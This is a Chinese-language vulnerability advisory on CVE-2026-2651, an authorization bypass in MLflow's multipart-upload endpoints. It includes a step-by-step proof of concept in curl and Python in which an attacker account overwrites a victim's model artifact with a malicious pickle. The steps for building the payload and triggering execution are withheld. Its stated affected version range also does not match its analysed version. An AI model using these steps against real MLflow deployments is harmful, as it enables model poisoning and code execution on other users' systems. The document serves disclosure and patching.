首页 网络安全 正文

MLflow MPU授权绕过漏洞CVE-2026-2651

摘要

栋科技漏洞库关注到 MLflow 在 3.10.1.dev0 之前版本中存在的MPU授权绕过漏洞,漏洞追踪为CVE-2026-2651,CVSS 3.0评分9.0。

MLflow 是由 Datapicks 推出、Linux Foundation 托管的开源机器学习全生命周期管理平台,可用于模型注册、训练追踪和模型服务。

一、基本情况

MLflow 大模型平台用于把模型从实验、训练、版本管理到部署上线的全过程管起来,解决 “实验乱、结果难复现、模型难上线” 的问题。

MLflow MPU授权绕过漏洞CVE-2026-2651

MLflow 生命周期管理平台可记录实验数据、对比方案,管控模型版本并保障结果复现,同时简化部署流程,支撑团队协作与模型运维。

栋科技漏洞库关注到 MLflow 在 3.10.1.dev0 之前版本中存在的MPU授权绕过漏洞,漏洞追踪为CVE-2026-2651,CVSS 3.0评分9.0。

二、漏洞分析

CVE-2026-2651是存在于 MLflow MPU 中的端点缺失授权验证,而导致跨资源制品覆盖、模型投毒及模型加载时跨边界命令执行漏洞。

受影响版本中,当启用 --serve-artifacts(制品服务)模式时,MLflow 会开放 MPU 端点用于大文件分片上传。

_is_proxy_artifact_path函数未将/mlflow-artifacts/mpu/*路径识别为需要授权的代理路径,

同时 _get_proxy_artifact_validator 缺少 POST 授权校验映射,导致 multipart upload的create/complete/abort 端点完全绕过权限检查。

但该组件的授权校验逻辑仅覆盖/mlflow-artifacts/artifacts路径组,未对/mlflow-artifacts/mpu/*路径执行等效的资源级权限校验。

攻击者操控artifact_path(制品路径)与path(文件名)参数,实现模型供应链投毒和任意代码执行,覆盖不属于自身的目标制品文件。

在共享远程追踪服务器(多用户协作)场景下,该漏洞可触发跨用户边界命令执行,进而演变为高风险的跨主机横向渗透攻击。

该漏洞会引发未授权的跨用户 / 跨资源写入操作、模型供应链投毒等一系列安全影响。

分析版本:5af88dc08a54d40dddfc019da9e7f0fd0fcf34e2(Git 描述:nightly-2300-g5af88dc08,本地 mlflow.version:3.10.1.dev0)

(一)环境配置

1、启用本地 S3 模拟环境(moto 框架)

# Install dependencies
pip install boto3 botocore cloudpickle "moto[s3]"

# Verify dependencies
python - <<'PY'
import mlflow, boto3, botocore, cloudpickle, moto
print("ok")
PY

# Start in background
nohup env MOTO_SERVICE=s3 moto_server -H 127.0.0.1 -p 5005 >/tmp/moto_s3_5005.log 2>&1 &

# Health check
# If health check fails, inspect the previous step's log
curl --noproxy '*' -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:5005/

2、创建测试存储桶

python - <<'PY'
import boto3
s3 = boto3.client(
    "s3",
    endpoint_url="http://127.0.0.1:5005",
    aws_access_key_id="test",
    aws_secret_access_key="test",
    region_name="us-east-1",
)
s3.create_bucket(Bucket="mlflow-bucket")
print("bucket_created")
PY

(二)基础身份验证配置

1、配置 /tmp/mlflow_auth_noperm_mpu.ini 文件

cat >/tmp/mlflow_auth_noperm_mpu.ini <<'EOF2'
[mlflow]
default_permission = NO_PERMISSIONS
database_uri = sqlite:////tmp/mlflow_auth_noperm_mpu.db
admin_username = admin
admin_password = password1234
authorization_function = mlflow.server.auth:authenticate_request_basic_auth
EOF2

备注:

default_permission is set to NO_PERMISSIONS here to strengthen the contrast in the verification.

2、启动MLflow服务器

(basic-auth + serve-artifacts + S3)

nohup env \
  MLFLOW_AUTH_CONFIG_PATH=/tmp/mlflow_auth_noperm_mpu.ini \
  MLFLOW_FLASK_SERVER_SECRET_KEY=sec-mpu-key \
  MLFLOW_SERVER_ENABLE_JOB_EXECUTION=false \
  AWS_ACCESS_KEY_ID=test \
  AWS_SECRET_ACCESS_KEY=test \
  AWS_DEFAULT_REGION=us-east-1 \
  MLFLOW_S3_ENDPOINT_URL=http://127.0.0.1:5005 \
  mlflow server \
    --host 127.0.0.1 \
    --port 5003 \
    --app-name basic-auth \
    --backend-store-uri sqlite:////tmp/mlflow_backend_mpu.db \
    --serve-artifacts \
    --artifacts-destination s3://mlflow-bucket \
    --default-artifact-root s3://mlflow-bucket \
  >/tmp/mlflow_server_5003.log 2>&1 &

健康检查:

curl -s -o /tmp/mlflow_root_check.txt -w '%{http_code}\n' http://127.0.0.1:5003/
cat /tmp/mlflow_root_check.txt

2、预期:401(未经身份验证)。

初始化用户(管理员/受害者/攻击者)

# Create victim
curl -s -u admin:password1234 \
  -X POST http://127.0.0.1:5003/api/2.0/mlflow/users/create \
  -H 'Content-Type: application/json' \
  -d '{"username":"victim","password":"VictimInitPass1234"}'

# Create attacker
curl -s -u admin:password1234 \
  -X POST http://127.0.0.1:5003/api/2.0/mlflow/users/create \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"AttackerInitPass1234"}'

# Set unified passwords (for reproducibility)
curl -s -u admin:password1234 \
  -X PATCH http://127.0.0.1:5003/api/2.0/mlflow/users/update-password \
  -H 'Content-Type: application/json' \
  -d '{"username":"victim","password":"victimpass1234"}'

curl -s -u admin:password1234 \
  -X PATCH http://127.0.0.1:5003/api/2.0/mlflow/users/update-password \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"attackerpass1234"}'

3、受害者记录了一个正常的模型

MLFLOW_TRACKING_URI=http://127.0.0.1:5003 \
MLFLOW_TRACKING_USERNAME=victim \
MLFLOW_TRACKING_PASSWORD=victimpass1234 \
AWS_ACCESS_KEY_ID=test \
AWS_SECRET_ACCESS_KEY=test \
AWS_DEFAULT_REGION=us-east-1 \
MLFLOW_S3_ENDPOINT_URL=http://127.0.0.1:5005 \
python - <<'PY'
import json
import mlflow
from mlflow.pyfunc import PythonModel

exp = mlflow.set_experiment("victim_mpu_rce_exp")

class VictimModel(PythonModel):
    def predict(self, context, model_input, params=None):
        return ["victim-ok"] * len(model_input)

with mlflow.start_run(run_name="victim_clean_model") as run:
    mlflow.pyfunc.log_model(artifact_path="model", python_model=VictimModel())
data = {
    "experiment_id": run.info.experiment_id,
    "run_id": run.info.run_id,
}
open("/tmp/victim_run_info_internal.json", "w").write(json.dumps(data))
print("victim_model_logged")
PY

cat /tmp/victim_run_info_internal.json

备注:

在这一步中,只有受害用户记录了一个正常的模型;model_id不会暴露给攻击者。

model_id和artifact_path在下一步中由攻击者独立获得。

三、POC概念验证

1、攻击者获得model_id和artifact_path

这相当于通过/api/2.0/mlflow/logged-models/search端点获取信息,然后将其传递给下一个操作。

管理员已设置登录后刷新可查看

样本输出:

{
  "experiment_id": "1",
  "model_id": "m-6a756aa5725a4f41948d13d01dbdcf7d",
  "artifact_path": "1/models/m-6a756aa5725a4f41948d13d01dbdcf7d/artifacts"
}
{
  "experiment_id": "1",
  "model_id": "m-6a756aa5725a4f41948d13d01dbdcf7d",
  "artifact_path": "1/models/m-6a756aa5725a4f41948d13d01dbdcf7d/artifacts"
}

备注:

在跟踪服务器架构中,用户通过中央MLF服务器将请求代理到S3存储来获取工件。(官方推荐的部署架构)

https://mlflow.org/docs/latest/self-hosting/architecture/tracking-server/

2、攻击者读取受害者实验应该失败

EXP_ID=$(python - <<'PY'
import json
print(json.load(open('/tmp/mpu_repro_target.json'))["experiment_id"])
PY
)

curl -i -u attacker:attackerpass1234 \
  "http://127.0.0.1:5003/api/2.0/mlflow/experiments/get?experiment_id=${EXP_ID}"

预期响应:

HTTP 403 Forbidden
Permission denied

3、攻击者启动MPU(创建)

ARTIFACT_PATH=$(python - <<'PY'
import json
print(json.load(open('/tmp/mpu_repro_target.json'))["artifact_path"])
PY
)

curl -s -u attacker:attackerpass1234 \
  -X POST "http://127.0.0.1:5003/api/2.0/mlflow-artifacts/mpu/create/${ARTIFACT_PATH}" \
  -H 'Content-Type: application/json' \
  -d '{"path":"python_model.pkl","num_parts":1}' \
  -o /tmp/mpu_create_resp.json

cat /tmp/mpu_create_resp.json

示例响应:

{
  "upload_id": "H3j5QC1MsJOviCHrJq1adDkXJV6CX6Gcvkwij7qa60AaNinEruK0HpQ7Q",
  "credentials": [
    {
      "url": "http://127.0.0.1:5005/mlflow-bucket/1/models/m-6a756aa5725a4f41948d13d01dbdcf7d/artifacts/python_model.pkl?partNumber=1&uploadId=H3j5QC1MsJOviCHrJq1adDkXJV6CX6Gcvkwij7qa60AaNinEruK0HpQ7Q&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=test%2F20260217%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20260217T052932Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=f182c5c73db84b121a1761a01cbdf759b302c0d67d453b23ec5d9724a916ba51",
      "part_number": 1
    }
  ]
}

4、生成恶意python_model.pkl

管理员已设置登录后刷新可查看

5、上传部分(PUT到预签名的URL)

python - <<'PY'
import json
import requests

url = json.load(open('/tmp/mpu_create_resp.json'))["credentials"][0]["url"]
payload = open('/tmp/malicious_python_model.pkl', 'rb').read()

# Note: explicitly disable proxy to avoid local proxy interference with 127.0.0.1 presigned request
r = requests.put(url, data=payload, timeout=15, proxies={"http": None, "https": None})
print("status", r.status_code)
print("etag", r.headers.get("ETag"))
open('/tmp/mpu_put_resp.json', 'w').write(json.dumps({"etag": r.headers.get("ETag")}))
PY

cat /tmp/mpu_put_resp.json

6、攻击者完成MPU(完成)

UPLOAD_ID=$(python - <<'PY'
import json
print(json.load(open('/tmp/mpu_create_resp.json'))["upload_id"])
PY
)

ETAG=$(python - <<'PY'
import json
print(json.load(open('/tmp/mpu_put_resp.json'))["etag"])
PY
)

ARTIFACT_PATH=$(python - <<'PY'
import json
print(json.load(open('/tmp/mpu_repro_target.json'))["artifact_path"])
PY
)

curl -i -u attacker:attackerpass1234 \
  -X POST "http://127.0.0.1:5003/api/2.0/mlflow-artifacts/mpu/complete/${ARTIFACT_PATH}" \
  -H 'Content-Type: application/json' \
  -d "{\"path\":\"python_model.pkl\",\"upload_id\":\"${UPLOAD_ID}\",\"parts\":[{\"part_number\":1,\"etag\":${ETAG}}]}"

预期响应:HTTP 200

7、验证对象是否已被覆盖

python - <<'PY'
import json
import hashlib
import boto3

t = json.load(open('/tmp/mpu_repro_target.json'))
key = f"{t['artifact_path']}/python_model.pkl"

s3 = boto3.client(
    "s3",
    endpoint_url="http://127.0.0.1:5005",
    aws_access_key_id="test",
    aws_secret_access_key="test",
    region_name="us-east-1",
)
obj = s3.get_object(Bucket="mlflow-bucket", Key=key)["Body"].read()
payload = open('/tmp/malicious_python_model.pkl', 'rb').read()
print("object_sha256", hashlib.sha256(obj).hexdigest())
print("payload_sha256", hashlib.sha256(payload).hexdigest())
print("equal", obj == payload)
PY

预期输出:等于True。

8、受害者触发加载并验证命令执行

管理员已设置登录后刷新可查看

预期输出:来自whoami的用户标识。

9、潜在风险

未经授权覆盖其他用户的工件(模型文件)

模型供应链中毒

由下游模型加载触发的任意代码执行(此PoC使用whoami)

具有主机级权限的横向移动,实现跨主机命令执行

模型信任破裂;推理服务中的接管风险和数据泄露风险显著增加

四、影响范围

MLflow < 3.10.0

五、修复建议

MLflow ≥ 3.10.0

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接